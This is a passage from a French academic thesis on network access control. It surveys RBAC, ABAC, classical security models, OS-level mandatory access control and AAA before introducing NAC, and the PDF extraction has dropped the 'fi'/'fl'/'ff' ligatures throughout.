Nous voyons fréquemment plusieurs types de rôles dans les entreprises :

• les rôles utilisateurs ou les prols, représentés par les métiers de l'entreprise
par exemple ;
• les rôles applicatifs qui déterminent la fonction que l'utilisateur pourra jouer
sur le SI pour une application donnée (interrogation du solde, mise à jour des
adresses, création de contrats) ;
• les hiérarchies de rôles qui permettent d'organiser des rôles, dénis nement,
en rôles plus globaux.

Par exemple, un utilisateur qui a le prol commercial et le rôle applicatif "création


de contrats" a le droit de créer des contrats pour ses clients. Mais, ce commercial,
dans une entreprise implantée dans plusieurs régions, n'aura pas ce droit sur un
client qui n'est pas dans son secteur.
Il n'existe pas de dénition générique d'un modèle de droit (basé sur les rôles)
qu'une entreprise pourrait utiliser. Le modèle RBAC reste théorique et demande
une étude approfondie sur chaque système d'information SI et ses utilisateurs avant
de pouvoir l'implémenter et l'exploiter.

2. Extension du modèle RBAC


A ce stade, le modèle RBAC, dans sa forme la plus simple ou la plus complexe,
est le modèle de gestion des habilitations le plus employé. Il permet, d'augmenter
la performance opérationnelle d'attribution des droits aux utilisateurs et apporte
ainsi une réduction conséquente de coût sur la gestion des identités de l'entreprise.

21
RBAC atteint rapidement ses limites dès lors que les utilisateurs sont géographique-
ment diérentiables, ou dès lors que l'entreprise est composée de services indépen-
dants, où l'environnement d'exploitation est complexe et subit des changements
fréquents, tel qu'une organisation hospitalière qui implique l'aectation des droits
d'accès aux dossiers médicaux des patients, pour les médecins, les inrmiers et les
aides-soignants soit malléable en fonction des jours, et des heures et même des
services (chirurgie, urgences, pédiatrie).
D'autres cas peuvent aussi illustrer ce besoin d'étendre RBAC :

• dans une société de services, les commerciaux sont attachés à des secteurs
d'activités : un commercial chargé des aaires de l'industrie ne peut pas créer
de contrat pour un client dans le secteur de la banque ;
• un conseiller clientèle d'une banque dispose des droits de gestion de patrimoine
et de gestion immobilière. Selon l'agence dans laquelle il travaille, il peut
soit faire de la gestion de patrimoine soit de la gestion immobilière, soit les
deux. Pour lui fournir un poste de travail adapté à ses attributions en fonction
de l'agence dans laquelle il travaille, ses droits doivent être comparés aux
possibilités oertes par ces agences. Ainsi, même s'il est conseiller en gestion
de patrimoine et en gestion immobilière, dans une première agence il disposera
d'un poste de travail restreint à la fonction de gestion immobilière ' l'agent ne
fera que de la gestion immobilière. Dans une autre agence, il n'aura que celle
de gestion de patrimoine, donc l'agent ne fera que de la gestion de patrimoine.
Enn, dans une troisième agence, son poste de travail lui proposera les deux
fonctionnalités, donc l'agent pourra faire de la gestion de patrimoine ainsi que
de la gestion immobilière ;
• dans un hôpital, un médecin n'est pas présent 24 heures sur 24 pour traiter
chacun de ses patients. Pendant ses jours de repos, ses tâches sont assurées
par un autre médecin, voire un troisième selon l'organisation en équipe mise
au point dans son service. De même, l'équipe inrmière et aide-soignante qui
travaille avec lui un jour n'est pas certaine de travailler avec lui le jour d'après,
simplement parce qu'il n'est pas toujours possible de gérer chaque personnel
médical en fonction d'un médecin, de ses jours de repos et de ses vacances.

Pour pallier à cette limitation, nous voyons souvent apparaître la notion de groupe
en plus de celle de rôle ou de prol. C'est ce qu'on appelle le RBAC étendu.

1.2.4 Le contrôle d'accès à base d'attributs ABAC


ABAC se base sur une approche exible de contrôle d'accès, et il est capable d'implémenter
une politique granulaire et riche à l'aide d'attributs, ce qui lui permet d'être le mécanisme
le plus adapté pour les environnements distribués et à changement rapide.

Ce modèle fait usage d'attributs au niveau des sujets/objets an de contrôler l'accès.
Chaque usager et objet a des attributs. On peut considérer aussi des attributs d'environnement

22
tel que (l'heure, l'emplacement etc).

Les décisions de contrôle d'accès sont prises en fonction de ces attributs:


Qui ? Quoi ? Quand ? Où ? Pourquoi ? Comment ?

Figure 1.2.6: Modèle de contrôle d'accès A-BAC

Comme illustré par la gure 1.2.6, pour le modèle ABAC, chaque usager ou objet a des
attributs (l'heure, l'emplacement lors de la demande d'accès), ainsi la décision du con-
trôleur d'accès est prise en fonction de ces attributs.

En réalité, l'environnement des réseaux IP n'est pas aussi idéal, ayant des paramètres
xes et gés, mais il est plutôt complexe, dynamique et dicile à modéliser, d'où la
nécessité de penser à un modèle hybride constitué de plusieurs systèmes à base de modèle
de contrôle d'accès diérents, dans la perspective de développer la capacité de suivre et
contenir une session utilisateur.

1.3 Contrôle d'accès hybride et multi-niveau


Jusqu'ici nous avons évoqué des modèles de contrôle d'accès applicables individuellement
à des systèmes ou modules séparés, alors que leur mise en réseau présente un nouveau dé
qui consiste à appliquer un contrôle d'accès à l'échelle de tout le réseau, ce qui nécessite
l'application d'une politique de contrôle d'accès uniée ou du moins homogène.

1.3.1 Politique de contrôle d'accès


Avant d'entamer la politique de contrôle d'accès, il est fondamental de dénir l'autorisation.
Celle-ci vise à xer les règles pour les relations entre sujets et objets dans le système et

23
à garantir que ces règles sont respectées. Un sujet est une entité active (utilisateur, pro-
gramme, etc.) et un objet est une entité passive (chier, écran, ressource de calcul, etc.)
qui peut être manipulée par des sujets autorisés.

Cette politique traduit la stratégie d'accès, qui est en général centralisées, et qui régit
l'autorisation comportant des expressions conditionnelles.

En eet, l'accès aux applications et aux données (chiers, base de données) qui ont été
classiées comme importantes ou vitales, est réservé aux personnes autorisées et est in-
terdit à toute autre personne, qu'elle soit interne ou externe à "l'organisation".

Le droit d'accès à chacune des ressources est accordé par le responsable des données. Il
dénit également le type d'accès aux informations : lecture seule, modication ou droit
de suppression. C'est lui qui peut accorder, faire modier ou supprimer tout droit d'accès
à ces données. La création du droit d'accès est techniquement mise en oeuvre par le re-
sponsable de l'informatique.

Prenons l'exemple d'une organisation qui se conforme à une exigence professionnelle selon
laquelle les informations d'identication personnelle (PII - Personally Identiable Infor-
mation) gurant dans les chiers ne doivent être accessibles qu'au propriétaire du chier et
aux employés du service des ressources humaines habilités à acher ce type d'information.
Il s'agit d'une stratégie globale qui s'applique à l'ensemble des chiers (PII) stockés sur
les serveurs de chiers dans l'organisation. Pour appliquer cette stratégie, l'organisation
doit impérativement :

• identier et marquer les chiers contenant des informations d'identication person-


nelle ;

• identier le groupe d'employés du service des ressources humaines habilités à acher


ce type d'information ;

• ajouter la stratégie d'accès centralisée à une règle d'accès centralisée, puis appliquer
cette règle à tous les chiers contenant des informations d'identication personnelle
et stockées sur l'un des serveurs de chiers dans l'organisation.

1.3.2 Contrôles d'accès multi-niveau ou hybride


Le contrôle d'accès prend plusieurs formes, en dépendance du point d'application de ce
modèle de contrôle. Ainsi on trouve des contrôles pratiquement au niveau de chaque
couche du modèle OSI ou plus pragmatique le modèle TCP/IP . Néanmoins, on va se
focaliser sur les contrôles au niveau de l'accès à la couche de liaison de données, réseau
et applicative .

En eet, le réseau ayant généralement plusieurs composantes hétérogènes, forcement ces


composantes se basent sur de diérents modèles de contrôle d'accès, et par conséquent
cette mise en jeu de plusieurs modèles de contrôle d'accès aboutit à un mélange de mod-
èles comme si le réseau ou plus précisément le système d'information "SI" est basé sur

24
un modèle de contrôle d'accès hybride .

En eet, on peut avoir deux modèles de contrôle d'accès ou plus au sein du même
réseau, chaque modèle assure un niveau de sécurité diérent comme l'illustre les exemples
génériques suivants :

1. Exemple 1
Politique d'accès : Sécurité Militaire
Modèle d'accès associé : Condentialité
Droit d'accès concerné : Lecture (Read)

2. Exemple 2
Politique d'accès : Sécurité Civile
Modèle d'accès associé : Intégrité
Droit d'accès concerné : Ecriture (Write)

Il existe 2 types de politiques de sécurité :

• Discrétionnaire : les droits sont manipulés librement par le propriétaire ;

• Mandats/Obligations : organisation hiérarchique multi-niveaux des utilisateurs et


des ressources .

Les modèles de sécurité permettent de vérier la cohérence de la politique de sécurité


ainsi que sa mise en oeuvre . Il en existe 3 types :

• disponibilité : Willen ;

• intégrité : BIBA, Clark Wilson ;

• condentiality : Lampson, Harrison Ruzzo Ullman, Bell LaPadula, Take-Grant .


Le modèle HRU (Harrison Ruzzo Ullman) repose sur l'expression des permissions. Il
s'agit de matérialiser les relations entre les Sujets (utilisateur ou processus), les Objets
(chiers, répertoires, processus, cellule mémoire) et les Actions disponibles (read, write,
execute, own). Pour cela on modélise la matrice des droits d'accès : M (Sujet * Objet).

Le modèle Take-Grant permet de représenter des systèmes informatiques sous forme de


graphes : les noeuds repésentent les sujets ou les objets, les arcs représentent les droits
d'accès (take, grant, read, write). Ce modèle autorise certaines règles de modication:
create, delete, remove.

Le modèle BLP (Bell LaPadula) introduit la notion de classication des informations


par niveau de condentialité, et la notion d'habilitation des utilisateurs pour l'accès aux
données. L'utilisateur ne peut qu'écrire des données dont la classication est supérieure
ou égale à son habilitation. De même, les données ne peuvent être lues que par des util-
isateurs ayant une habilitation supérieure ou égale à la classication des données.

25
Le modèle BIBA est la reformulation du modèle BLP appliqué à garantir l'intégrité des
données. Pour cela le modèle réutilise les notions de classication et d'habilitation, mais
les règles changent. L'utilisateur ne peut qu'écrire des données dont la classication est
inférieure ou égale à son habilitation. Enn, les données ne peuvent être lues que par des
utilisateurs ayant une habilitation inférieure ou égale à la classication des données.

Le modèle de Brewer & Nash ou 'Muraille de chine' a été conçu an de résoudre les conits
d'intérêts dans les sociétés de services. Les sujets sont répartis par domaine d'activité, et
les données par classe d'intérêt. Les interdictions dépendent alors du domaine d'activité
et de la durée du secret commercial.

Les listes de contrôle d'accès (ex : ACL Cisco) permettent une politique très statique
associée à chaque ressource qui doit posséder la liste de tous les sujets et de leurs droits.
Elles impliquent une forte consommation d'espace mémoire pour le stockage et une sol-
licitation importante pour les calculs.

Les capacités (ex : certicats X.509) permettent de stocker sur la station du client, ses
autorisations disponibles pour une ressource. Elles permettent une gestion plus souple et
plus dynamique que les listes de contrôle d'accès.

A rappeler que l'objectif de cette analyse des modèles de contrôle d'accès est la détec-
tion de leurs failles potentielles ou de leur implémentation incorrecte qui rend possible
l'inltration des attaques informatiques.

Si on prend, dans ce contexte, 2 modes d'attaques : les virus et les chevaux de Troie
(trojans) :

• les virus mettent à mal l'intégrité de la station de la victime ;

• les trojans rompent la chaîne de condentialité des données stockée par la victime .

Appliquons ces attaques aux modèles BLP et BIBA, il en résulte les deux conclusions
suivantes :

• le modèle BLP garantit la condentialité mais pas l'intégrité, il est donc vulnérable
aux virus ;

• le modèle BIBA garantit l'intégrité mais pas la condentialité, il est donc vulnérable
aux trojans .

1.3.3 Etude de cas : contrôle d'accès au niveau OS


Dans cette partie, nous nous intéressons aux mécanismes de contrôle d'accès implémentés
dans les systèmes d'exploitation linux et Windows .

1. Cas de Linux
Grsecurity est un mécanisme de contrôle d'accès obligatoire qui, à la diérence de
SELinux, n'utilise pas les LSM mais est disponible sous la forme d'un patch noyau.

26
Celui-ci est basé sur les modèles RBAC et Trusted Path Execution (TPE).

À la diérence du modèle MIC de Microsoft, qui va être détaillé après, qu'on va


aborder ci-dessous, l'approche pour Unix nécessite des politiques de sécurité nes
qui orent une meilleure sécurité.
Prenons l'exemple d'UNIX. Il existe trois classes d'utilisateurs: Owner, Group,
others comme illustré par la gure 1.3.1

Figure 1.3.1: Permissions sous Linux

Ce qui aboutit aux listes d'accès ou Acls suivantes :

• le1: (user1, rx) (user2, rwxo) (user3,rx)


• le2: (user1, r) (user2, r) (user3,rwo)
• le3: (user1, rx) (user2, rwo) (user3,w)

La matrice de contrôle d'accès, dans ce cas est comme présenté dans la gure 1.3.2.

Figure 1.3.2: Matrice de contrôle d'accès

Le contrôle d'accès consiste à vérier si un sujet demandant l'accès à un objet,


possède les droits nécessaires pour y accéder. Son ecacité repose sur 2 règles :

• le sujet doit être identié par le biais des procédures d'authentication ;


• tous les droits d'accès (utilisateur/processus) doivent être protégés de toute
modication sur le système comme le permet l'activation du module Selinux
host based IPS de Linux.

En eet, SELinux est un modèle de contrôle d'accès obligatoire créé par la NSA
et intégré nativement dans les noyaux Linux sous la forme d'un Linux Security
Module (LSM) [23], qui sont des interfaces de sécurité implantées dans le noyau et

27
permettant de détourner de manière légitime le ux d'exécution pour y appliquer
un mécanisme de contrôle d'accès. Il s'appuie sur le modèle Domain and Type
Enforcement et son architecture est basée sur FLASK [24].

2. Cas de Windows

À partir du système d'exploitation Vista, Microsoft a implanté un modèle de protec-


tion obligatoire basé sur le dépôt du brevet. Cette implantation, nommée Manda-
tory Integrity Control (MIC), est mise en place pour protéger le système et les
chiers système des attaques visant à porter atteinte à leur intégrité. Dans ce mod-
èle, inspiré du modèle Biba, chaque entité du système possède un niveau d'intégrité
[25]. Il existe par défaut cinq niveaux d'intégrité :

• Untrusted : niveau de non conance, notamment pour les sessions invitées ;


• Low : niveau utilisé pour les processus fortement exposés aux attaques externes
povenant de sources non veriées ;
• Medium : niveau par défaut pour les utilisateurs authentiés ;
• High : niveau réservé à l'administrateur du système ;
• System : niveau réservé au système.

Un sujet désirant modier un objet doit posséder un niveau d'intégrité supérieur


ou égal à celui de l'objet. Il s'agit de la propriété No Write Up du modèle Biba.
Contrairement au modèle Biba, la propriété No Read Down n'est pas implantée.
Microsoft a également implanté une notion de labels sur certains objets du sys-
tème, qui agissent de façon complémentaire avec les niveaux d'intégrité. Ainsi,
trois propriétés sont garanties :

• No Read Up : les sujets possédant un label strictement inférieur à celui de la


cible ne peuvent pas lire l'objet cible. Il s'agit d'une application restreinte du
modèle BLP ;
• No Write Up : les sujets ayant un label strictement inférieur à celui de l'objet
ne peuvent pas le modier ;
• No Execute Up : empêche l'exécution d'objets par les sujets ayant un niveau
d'intégrité bas.

Des exceptions existent cependant : les utilisateurs autorisés à eectuer des tâches
d'administration peuvent modier leur niveau d'intégrité dans le but de réaliser des
actions privilégiées.
À la diérence des implantations de modèles de contrôle d'accès obligatoire sous
Linux tels que SELinux ou Grsecurity, le contrôle d'accès obligatoire MIC est eec-
tué avant le contrôle d'accès discrétionnaire. Cela permet à un utilisateur élevant
son niveau d'intégrité de contourner les droits d'accès classiques.

28
Ces modèles pris individuellement sont plus au moins adaptés à certains systèmes xes et
hiérarchiques, mais peu appropriés pour des structures dynamiques tel que les réseaux IP,
pour lesquels on devra adopter un mécanisme de sécurité capable de réagir aux attaques,
en se basant sur le contrôle de l'identité de l'utilisateur et la connaissance de la posture
de sécurité de sa machine. On prévoit en conséquence trois actions :

• contrôle d'admission de l'utilisateur et de sa machine ;

• mise en quarantaine d'une machine non able ;

• mise en oeuvre de contre-mesures.

Ce modèle pratique appelé NAC "Network Access control" est diéremment implémenté
d'un éditeur à l'autre.

1.4 Conclusion
La sécurité d'un réseau interconnecté n'a pas de métrique exactement mesurable, mais
plutôt se fait par le principe de "la meilleure sécurité possible" parce qu'il est dicile de
donner une métrique exacte du moment où cette métrique est fonction de :

• la faille de chaque composant du réseau ;

• la combinaison des failles ;

• l'avancée technique des attaquants et de la technologie ;

• la exibilité demandée par les utilisateurs.

C.-à-d. qu'on ne peut pas statuer et dire qu'on a un réseau sécurisé à 100%, mais plutôt,
on dit qu'on n'est pas vulnérable aux failles connues à cet instant, ce qui veut dire que
les failles inconnues (de type Zero day) pèsent toujours sur notre sécurité et peuvent la
mettre en question à tout moment.

Nous avons en fait l'équation suivante :

La sécurité du réseau = compréhension du fonctionnement de l'entreprise +


de la méthodologie + maîtrise technique des composantes du réseau + du
bon sens + de la sensibilisation des utilisateurs.
Un réseau typique est composé d'un certain nombre d'actifs :

• endpoints (machine utilisateurs, smartphones, terminaux IP) ;

• équipements actifs du réseau et de sécurité (Commutateurs, Routeurs, Pare-feu,


IPS/IDS) ;

• serveurs, applications et services.

29
A ce point, il est fondamental de signaler que l'actif le plus important est la donnée en
soit (informations sous ses diérentes forme structurées ou non: chiers, bases de don-
nées, etc) qui est en état statique ou en mouvement, dans le sens où ces données mises
en réseau transitent par le support physique et les éléments actifs du réseau évoquées
ci-dessus et qui constituent le réseau IP.

Par ailleurs, l'objectif est de maîtriser les accès au réseau, et répondre aux questions con-
cernant les utilisateurs du réseau en particulier ceux qui sont autorisé ? Quelle version
du matériel et du logiciel a été utilisée pour accéder ? Quel Vlan (Virtual LAN) a été
attribué et à quelles ressources l'accès a été donné ? et surtout le suivi de la session de
bout en bout.

Il s'agit de :

• identier les connexions et les utilisateurs : login, @IP, @MAC, date, heure et
location ;

• leur aecter dynamiquement un VLAN pour leur assurer la mobilité au sein du


réseau selon les privilèges octroyés.

Cette approche de la sécurité informatique qui tente d'unier les technologies des pé-
riphériques de sécurité, l'identiant ou le système d'authentication et l'application de la
sécurité réseau nous projette à la mise en oeuvre d'une solution de contrôle d'accès NAC
qu'on va détailler dans le chapitre suivant.

30
Chapitre 2
Nouvelle modélisation du contrôle
d'accès réseau
Dans ce chapitre, nous détaillerons le mécanisme de contrôle d'accès NAC (Network Ac-
cess Control), le modèle hybride de contrôle d'accès adapté au réseau IP, ayant pour objec-
tif la supervision des accès utilisateur au réseau, de la phase d'admission sur l'infrastructure
réseau (Commutateur, Borne Wi etc) jusqu'à la phase de déconnexion du réseau et la
fermeture du point d'entrée.

De nos jour, il est évident que la partie la plus exposée d'un réseau interconnecté et qui
représente une cible privilégiée sont les équipements de périphérie "endpoints", environ
3 Billions de ce type connectés (en particulier à l'internet) exécutent Java, Acrobat,
ash et Microsoft oce. Ces "endpoints", constituent une cible privilégiée d'attaques, et
donc tout eort d'améliorer la sécurité d'un réseau IP doit impérativement passer par la
protection de ces postes clients, d'où la nécessité du contrôle d'accès au réseau.
Nous commençons par poser le problème, rappeler les concepts de base de la sécurité
réseau et apporter des éléments de réponse à la problématique évoquée. En perspective,
nous expliciterons le mécanisme NAC, détailler ces diérentes composantes, authenti-
cation autorisation et accounting, faire une analyse entre les solutions les plus répondues
et proposer une amélioration en conséquence [1]1 .

2.1 Introduction
La problématique de la sécurité des réseaux IP est certes complexe et dicile à aborder,
néanmoins notre contribution pour la cerner repose sur une première phase qui consiste
à faire un inventaire des équipements IP qui sont autorisés à se connecter au réseau in-
terne "LAN", toute en adressant un "white List" d'applications susceptibles de tourner
dessus conformément à la politique mise en place. Cette approche de la sécurité interne
(protection des utilisateurs et leur machines), sera ainsi complétée par la protection et
surtout la supervision des surfaces d'interaction avec l'extérieur (actifs ou services mis à
1 A. Lakbabi, G. Orhanou, S. El Hajji: "Network Access Control Technology - Proposition to contain
new security challenges", International Journal of Communications, Network and System Sciences, Vol.
5, No 8, August 2012

31
la disposition des partenaires et du grand public), ajouter à cette protection l'importance
de l'analyse et la corrélation des évènements de sécurité émanant des équipements clés
de la sécurité .

En eet, deux problèmes des plus critiques se posent actuellement pour les responsables
de la sécurité des réseaux IP :

1. les attaques sont de plus en plus évoluées, tactiques et persistantes, alors que les
protections sont toujours basées sur des solutions de défense à technologies mul-
tiples et diérentes. Ce qui aggrave en plus la situation c'est que chacune de ces
technologie ore une protection partielle, et indépendamment pensée des autres au
sein du même réseau ;

2. la surface vulnérable, ou plus précisément la surface d'attaque, est variable et


peut prendre des valeurs allant du négligeable (failles connues de faible sévérité)
jusqu'à devenir trop grande voir innie (toutes les applications et les ouvertures
d'interconnection présentent des failles exploitables à indice de gravité élevé), surtout
par le biais de machines internes directement ou indirectement pénétrable.

Dans ce qui suit, nous allons nous intéresser à cette surface d'attaque.

2.1.1 Analyse et réduction de la surface d'attaque


La surface d'attaque d'un système d'information est constituée des points de communi-
cation qu'un système d'information possède avec l'extérieur. En général, tout ce qui est
en interaction avec les visiteurs ou les utilisateurs constitue la surface d'attaque. On peut
citer une liste non exhaustive à titre d'exemple :

• un site web interactif mis à la disposition des clients avec des entrées/sorties ;

• un portail VPN SSL ouvert pour les collaborateurs ;

• les services actifs d'un serveur donné (mail, FTP, SSH, etc) ;

• l'interface de gestion d'une application en réseau.

La surface d'attaque est tout simplement l'ensemble des points qui sont susceptibles d'être
attaqués, car un attaquant peut être en contact avec eux. On retrouve également comme
description de la surface d'attaque qu'elle est l'exposition du système d'information (ar-
chitecture, serveurs, services, application et même homme), autrement dit c'est ce qui
peut être atteint, donc potentiellement vulnérable. Il est courant, lorsque l'on parle de
la surface d'attaque, d'en distinguer trois sortes :

• la surface d'attaque logicielle : Il s'agit de tous les points d'entrée/sortie d'une


application avec son environnement ;

• la surface d'attaque réseau : On parle ici des ports ouverts, des adresses IP actives,
des ux réseaux et protocoles utilisés, etc ;

32
• la surface d'attaque humaine : Il s'agit de tous les points (humains) vulnérables au
phishing et aux techniques d'ingénierie sociale (social engineering) par exemple, la
ressource humaine est un élément central de la sécurité du système d'information,
et elle est bien souvent omise dans la conception de la politique de sécurité et sa
mise en place.
La taille, ou l'étendue, de la surface d'attaque va tout simplement reéter son exposition
aux attaques éventuelles. Plus une surface d'attaque est étendue et importante, plus il va
falloir travailler pour sécuriser en profondeur l'ensemble des points qui composent cette
surface d'attaque. Lorsque l'on parle de la surface d'attaque et de sa réduction dans le
monde informatique, il est judicieux d'utiliser une stratégie de réduction de la surface
d'attaque pour vaincre.

La solution la mieux adaptée pour réduire la surface d'attaque au sein d'un réseau IP,
est d'implémenter des contrôles d'accès à base de l'authentication utilisateur et la su-
pervision continue des machines qui se connectent et se déconnectent du réseau, c'est ce
qu'on appelle les contrôles AAA [32].

2.1.2 Implémentation des contrôles AAA


Le contrôle d'accès à une ressource du système d'information est exercé selon deux modes:
• mode à priori : consiste à congurer et auditer les droits d'accès attribués aux
utilisateurs (on parle de "Gestion des identités et des habilitations" ou "Identity &
Access Management" ;

• mode à posteriori : consiste à contrôler les droits d'accès attribués aux utilisa-
teurs au moment de l'accès au système.
Dès qu'on évoque l'implémentation du contrôle d'accès dans les couches hautes du modèle
OSI ou TCP/IP, il devient impératif d'implémenter un mécanisme AAA (Authentica-
tion, Autorisation et Accounting), dont nous détaillerons ci-dessous les trois aspets, pour
protéger les ressources du réseau vis-à-vis des utilisateurs.

1. Authentication

Le contrôle d'accès à un système d'information se base sur les trois phases du


mécanisme AAA (en anglais: Authentication Authorization Accounting).
La première phase qui est l'identication, elle consiste, pour un système informa-
tique, à vérier l'identité d'une entité (personne, ordinateur, PDA ou Smartphone),
an d'évaluer la sécurité du périphérique "posture" et authentier l'utilisateur pour
l'autoriser à accéder à des ressources protégées du système d'information. Cette pre-
mière phase consiste à vérier si l'utilisateur correspond bien à l'identité qui cherche
à se connecter. Le plus simple ici consiste à vérier une association entre un mot
de passe et un identiant, mais des mécanismes plus élaborés peuvent être utilisés
tels les systèmes d'authentication forte où l'utilisateur doit détenir deux facteurs
an de pouvoir réussir cette phase (un Token ou jeton + un code pin).

33
Il existe plusieurs protocoles d'authentication :

• RADIUS (le plus utilisé comme standard d'authentication et va être développé


ultérieurement) ;
• Diameter ;
• TACACS (Terminal Access Controller Access-Control System ).

2. Autorisation

Cette phase consiste à vérier que l'utilisateur maintenant authentié dispose des
droits nécessaires pour accéder aux ressources. Elle est parfois confondue avec
la précédente sur de petits systèmes, mais sur des systèmes plus importants, un
utilisateur peut tout (le "tout" compris comme ensemble de ce qui existe est souvent
interprété comme le monde ou l'univers.) à fait être authentié (ex: membre de
l'entreprise) mais ne pas avoir les privilèges nécessaires pour accéder au système
(ex: page réservée aux gestionnaires).

3. Traçabilité ou Accounting

Pour lutter contre les usurpations de droits, il est souhaitable de suivre les accès
aux ressources informatiques sensibles (heure de connexion, suivi des actions).

2.2 Sécurité interne du réseau LAN


Dans ce qui suit, nous nous intéresserons de plus près à la sécurité du réseau IP en
conjonction avec les attaques potentielles dont il est la cible.

2.2.1 Anatomies d'attaques sur les réseaux IP


Tout équipement connecté à un réseau informatique (ayant une interface réseau adressée
en IP) est potentiellement vulnérable à une attaque sur l'une des couches TCP/IP. Cette
attaque est l'exploitation d'une faille du système informatique (système d'exploitation,
logiciel ou bien même suite à une mauvaise manipulation de l'utilisateur) à des ns
généralement préjudiciables.

Sur internet des attaques ont lieu en permanence, à raison de plusieurs attaques par
minute sur chaque machine connectée. Ces attaques sont pour la plupart lancées au-
tomatiquement à partir de machines infectées (par des virus, chevaux de Troie, vers, etc.)
ou des rebots de recherche de failles automatisée.

Les motivations des attaques peuvent être de diérentes sortes :

• obtenir un accès au système ;

• voler des informations, tels que des secrets industriels ou des propriétés intel-
lectuelles ;

34
• recueillir des informations personnelles sur un utilisateur ;

• récupérer des données bancaires ;

• s'informer sur l'organisation (entreprise de l'utilisateur, etc.) ;

• troubler le bon fonctionnement d'un service ;

• utiliser le système de l'utilisateur comme " rebond " pour une attaque ;

• utiliser les ressources du système de l'utilisateur, notamment lorsque le réseau sur


lequel il est situé possède une capacité de traitement et une bande passante élevées.

Les attaques peuvent intervenir à chaque maillon de cette chaîne, pour peu qu'il ex-
iste une vulnérabilité exploitable. Le schéma de la gure 2.2.1) ci-dessous rappelle très
sommairement les diérents niveaux pour lesquels un risque en matière de sécurité existe.

Figure 2.2.1: Attaque directe vs Attaque indirecte

An de contrer ces attaques, il est indispensable de connaître leurs types et leurs anatomies
an de mettre en oeuvre des dispositions préventives adéquates.

Par ailleurs, la sécurité des réseaux commence par séparer ce qui est interne au périmètre
du réseau en terme de ressources à protéger et ce qui est externe à ce périmètre. A ce
stade, les limites doivent être claires entre l'interne et l'externe du réseau à protéger. Par
conséquent, on va s'intéresser à une sécurité interne au périmètre délimité au préalable
et à une sécurité vis-à-vis des attaques externes dont la source se situe en dehors du dit
périmètre.

Pour faire face à ces problèmes de sécurité, un travail préliminaire doit être eectué selon
une Check-list technique qui permet ainsi d'évaluer les mesures organisationnelles et les
contrôles logiques à considérer pour implémenter une approche de protection sécuritaire
globale.

35
2.2.2 Classication des données
Il est important de noter que quelques soient les outils choisis, cette approche considérée
comme "technique" repose, en fait, sur la politique de sécurité liée à la classication
d'information, et est à adapter à chaque organisation et à ses risques. Il s'agit d'un
processus propre à l'entreprise, intégrant généralement les parties RH, DSI, RSSI, la di-
rection des risques ainsi que les dirigeants de l'entreprise. La partie réellement technique
correspond à l'industrialisation des mesures, règles et procédures dénies. La majeure
partie du travail est donc une fois de plus stratégique et organisationnelle.

Avant d'entamer les mécanismes de protection, il est primordial de préciser ce qu'on


souhaite protéger par le biais d'une phase de classication. Ce travail d'évaluation et de
classication des données est primordial. L'identication et la classication des actifs font
partie intégrante de la gestion des risques et représentent des composantes importantes
pour la gestion de la sécurité de l'information nommée système de management de la
sécurité de l'information - SMSI (voir ISO/IEC 27001). Elles dénissent les besoins de
sécurité en termes de condentialité, disponibilité et intégrité.

Il s'agit de l'attribution d'une mention qui permet de caractériser la valeur et l'importance


stratégique d'une donnée détenue par une organisation et, conséquemment, le niveau de
protection à lui accorder.

Les mentions varient selon les organisations et les données en cause. La classication de
sécurité relative à la condentialité, par exemple, peut comporter les niveaux suivants :
public, diusion restreinte, condentiel, secret et très secret.

Ces critères se retrouvent souvent en sécurité des SIs, quand il faut identier et valoriser
l'information (en jargon "cartographier les actifs informationnels"), ou quand on veut
faire une analyse de risques. Ils sont évidemment dénis de manière précise et savante
dans les normes ISO 27001 et 27005, mais le parti-pris dans cette thèse est de projeter
cette classication vers la phase d'implémentation c.-à-d. la segmentation du réseau.

La classication permet ainsi d'eectuer un inventaire détaillé des actifs critiques, et


d'identier ce qui est à protéger en priorité. Il s'agit donc d'un chantier transverse,
préalable à l'implémentation des techniques de contrôles d'accès aux données.

2.2.3 Segmentation et protection des réseaux IP


La sécurité d'un réseau IP exige le cloisonnement du réseau en zone (segmentation) et
l'attribution d'un niveau de criticité pour chacune des zones en fonction des données
qu'elle héberge. Le passage d'une zone à une autre plus sensible (niveau de sécurité plus
élevé) doit impérativement passer par un système de contrôle d'accès voir ltrage de con-
tenu (Pare-feu, IPS etc) et obéir à une politique de contrôle d'accès strict comme on va
l'illustrer après via la technologie NAC.

36
• Protection du LAN

La zone des utilisateurs internes, qui présente, en général, les adresses IP internes
ayant l'accès aux ressources critiques, et qui sert comme un point intermédiaire
d'attaque

• Gestion de l'identité IAM

L'identité utilisateur est un processus transverse et complet de sécurité du patri-


moine informationnel, reposant sur les notions d'identication, d'authentication et
d'habilitation (droits d'accès aux données). Ce chantier peut être approché de façon
ciblée, en se consacrant par exemple uniquement à l'élaboration d'un outil de ges-
tion des habilitations basé sur l'identité de l'utilisateur et les ressources auxquelles
celui-ci va accéder.

• Revue des habilitations

Le focus doit être placé sur les règles à appliquer lorsque l'utilisateur change de
service, passe d'un emplacement à un autre ou d'une connexion laire vers une
connexion wi. Si la revue des droits est oubliée lors d'une telle mobilité interne,
les conséquences peuvent être bien graves.
Ce mécanisme d'évaluation en temps réel des habilitations en fonction de l'évolution
de la session utilisateur en utilisant la technologie résume le mécanisme NAC: Net-
work Access Control.

• Protection des serveurs et services ou le Datacenter


La phase de classication des données doit aboutir à la segmentation réseau à
adopter, Network zoning (segmentation par zone de sécurité); dans notre cas et
pour simplier et rester concentré sur notre sujet, on propose une segmentation
classique en :

 zone interne de sécurité élevée "d'une valeur indicative 100" ;


 zone DMZ privée de sécurité moyenne "d'une valeur indicative 50" ;
 zone DMZ, publique de sécurité "d'une valeur indicative 30" ;
 zone externe non protégée "connectée à l'internet, d'une valeur de sécurité
nulle".

Il est aussi temps de rappeler les deux stratégies bien opposées des responsables de
sécurité et des attaquants (hackers):

 Le responsable de sécurité (approche de tout ou rien)


Pour garantir la sécurité du réseau IP, il est indispensable de sécuriser chaque
point d'entrée/sortie (interaction avec une entité externe au réseau admin-
istré).

37
 L'attaquant (il sut d'une seule faille pour déjouer tout le système
défensif)
Le niveau de sécurité d'un système est déterminé par le niveau de sécurité du
maillon le plus faible.

En eet, les attaquants essayent toujours de cibler le système par le point d'entrée le plus
faible et donc ils vont tenter de challenger successivement les niveaux de sécurité n1, n2,
n3 et n4 pour trouver une faille potentielle, comme l'illustre la gure 2.2.2 ci-dessous.

Figure 2.2.2: Sécurité en profondeur multi-niveaux

• n1 : sécurité de périmètre (Access lists)


Cette couche de sécurité s'applique en général sur les équipements externes comme
les routeurs d'interconnexion.

• n2 : sécurité du Par-feu d'état "stateful"


Il s'agit d'une protection assurée par un pare-feu d'état où tout le trac est bloqué
